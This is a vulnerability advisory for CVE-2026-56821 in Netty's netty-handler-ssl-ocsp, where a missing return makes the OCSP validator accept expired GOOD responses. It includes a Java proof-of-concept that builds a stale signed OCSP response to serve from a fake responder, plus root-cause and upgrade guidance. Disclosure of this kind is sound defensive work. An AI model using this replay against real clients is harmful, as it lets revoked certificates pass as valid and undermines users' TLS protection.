high · 7.4CVE-2026-56821Jul 22, 2026

CVE-2026-56821: netty-handler-ssl-ocsp Stale OCSP Response Accepted as Valid

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing return statement in Netty's OCSP certificate validator lets an on-path attacker replay an expired OCSP GOOD response to make a revoked server certificate appear valid.

Packageio.netty:netty-handler-ssl-ocsp
Ecosystemmaven
Affected>= 4.2.0.Final, < 4.2.16.Final
Fixed in4.2.16.Final

The problem

OcspServerCertificateValidator checks whether an OCSP response is within its validity window (thisUpdate to nextUpdate), but the freshness check fires an exception without returning. Execution continues and a VALID OcspValidationEvent is still emitted to the pipeline.

Because nonce validation is disabled by default, freshness is the only replay defense, and it is not enforced. A secondary bug: if the responder omits nextUpdate, calling current.before(null) throws NullPointerException and crashes the handler entirely.

Proof of concept

A working proof-of-concept for CVE-2026-56821 in io.netty:netty-handler-ssl-ocsp, with the exact payload below.

java
// Attacker-controlled OCSP responder returns a response where both
// thisUpdate and nextUpdate are 7 days in the past.
// The validator fires IllegalStateException but does NOT return,
// so VALID is still reported to the caller.

Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7));

BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder(
        new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject()));

// addResponse(certId, status, thisUpdate, nextUpdate)
// Both timestamps are 7 days old => response is stale
respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past);

BasicOCSPResp expiredResp = respBuilder.build(
        new JcaContentSignerBuilder("SHA256withRSA").build(caPrivKey),
        new X509CertificateHolder[0],
        past);

byte[] staleOcspBytes = new OCSPRespBuilder()
        .build(OCSPRespBuilder.SUCCESSFUL, expiredResp).getEncoded();

// Serve staleOcspBytes from a fake OCSP responder.
// Vulnerable Netty client receives OcspValidationEvent(VALID)
// despite the response being 7 days expired.

The root cause is a missing return in OcspServerCertificateValidator#userEventTriggered. When the freshness check fails, the code calls ctx.fireExceptionCaught(...) but falls through to the line that fires OcspValidationEvent(VALID). The patch adds an explicit return (or restructures the block with an else) so that an out-of-date response cannot simultaneously raise an exception and report success.

The fix also guards against a null nextUpdate field before calling Date.before(), eliminating the secondary NPE crash path. CWE-299 (Improper Check for Certificate Revocation) is the correct classification: the check exists but its result is ignored.

The fix

Upgrade to io.netty:netty-handler-ssl-ocsp 4.2.16.Final (or 4.1.136.Final for the 4.1.x line). No workaround exists short of not relying on OcspServerCertificateValidator for revocation enforcement. If upgrade is blocked, wrap the validator in a custom handler that explicitly rejects any event that is not OcspResponse.Status.VALID.

Reported by Netty Security Team.

References: [1][2][3][4]

Related research